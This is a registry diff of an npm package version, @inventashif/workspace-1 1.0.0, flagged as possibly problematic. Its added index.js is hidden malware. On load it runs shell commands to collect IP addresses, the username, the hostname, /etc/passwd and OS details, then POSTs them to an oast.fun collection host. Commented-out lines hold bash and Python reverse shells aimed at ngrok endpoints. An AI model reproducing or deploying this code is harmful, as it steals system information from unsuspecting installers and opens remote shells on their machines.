@inventashif/workspace-1 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @inventashif/workspace-1 might be problematic. Click here for more details.
- package/index.js +49 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,49 @@
|
|
1
|
+
const execSync = require('child_process').execSync;
|
2
|
+
|
3
|
+
const priv_ip = execSync('hostname -I', { encoding: 'utf-8' });
|
4
|
+
const whoami = execSync('whoami', { encoding: 'utf-8' });
|
5
|
+
const host = execSync('hostname', { encoding: 'utf-8' });
|
6
|
+
const l9 = execSync('dig +short myip.opendns.com @resolver1.opendns.com', { encoding: 'utf-8' });
|
7
|
+
const passwd = execSync('cat /etc/passwd', { encoding: 'utf-8' });
|
8
|
+
const php = execSync('php --version', { encoding: 'utf-8' });
|
9
|
+
const lsb = execSync('lsb_release -a', { encoding: 'utf-8' });
|
10
|
+
// const shell = execSync('bash -i >& /dev/tcp/0.tcp.in.ngrok.io/14528 0>&1', { encoding: 'utf-8' });
|
11
|
+
const wbash = execSync('which bash', { encoding: 'utf-8' });
|
12
|
+
// const pyv = execSync('python3 --version', { encoding: 'utf-8' });
|
13
|
+
// const current_dir = execSync('pwd', { encoding: 'utf-8' });
|
14
|
+
// const py3 = execSync("export RHOST='0.tcp.in.ngrok.io';export RPORT=16848;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv('RHOST'),int(os.getenv('RPORT'))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn('/bin/sh')'", { encoding: 'utf-8' });
|
15
|
+
|
16
|
+
|
17
|
+
|
18
|
+
const https = require("https")
|
19
|
+
|
20
|
+
const data = JSON.stringify({
|
21
|
+
"private IP": priv_ip,
|
22
|
+
"whoami": whoami,
|
23
|
+
"hostname": host,
|
24
|
+
"passwd": passwd,
|
25
|
+
"workspace-1":workspace,
|
26
|
+
"php version": php,
|
27
|
+
"lsb": lsb,
|
28
|
+
"l9 public IP": l9,
|
29
|
+
// "shell": shell,
|
30
|
+
"Which bash": wbash,
|
31
|
+
// "python version": pyv,
|
32
|
+
// "current dir": current_dir,
|
33
|
+
// "py": py,
|
34
|
+
})
|
35
|
+
|
36
|
+
const options = {
|
37
|
+
hostname: "cm5t1ad2vtc0000cxnqggkdii7hyyyyyr.oast.fun",
|
38
|
+
port: 443,
|
39
|
+
path: "/",
|
40
|
+
method: "POST",
|
41
|
+
headers: {
|
42
|
+
"Content-Type": "application/json",
|
43
|
+
"Content-Length": data.length,
|
44
|
+
},
|
45
|
+
}
|
46
|
+
|
47
|
+
const req = https.request(options)
|
48
|
+
req.write(data)
|
49
|
+
req.end()
|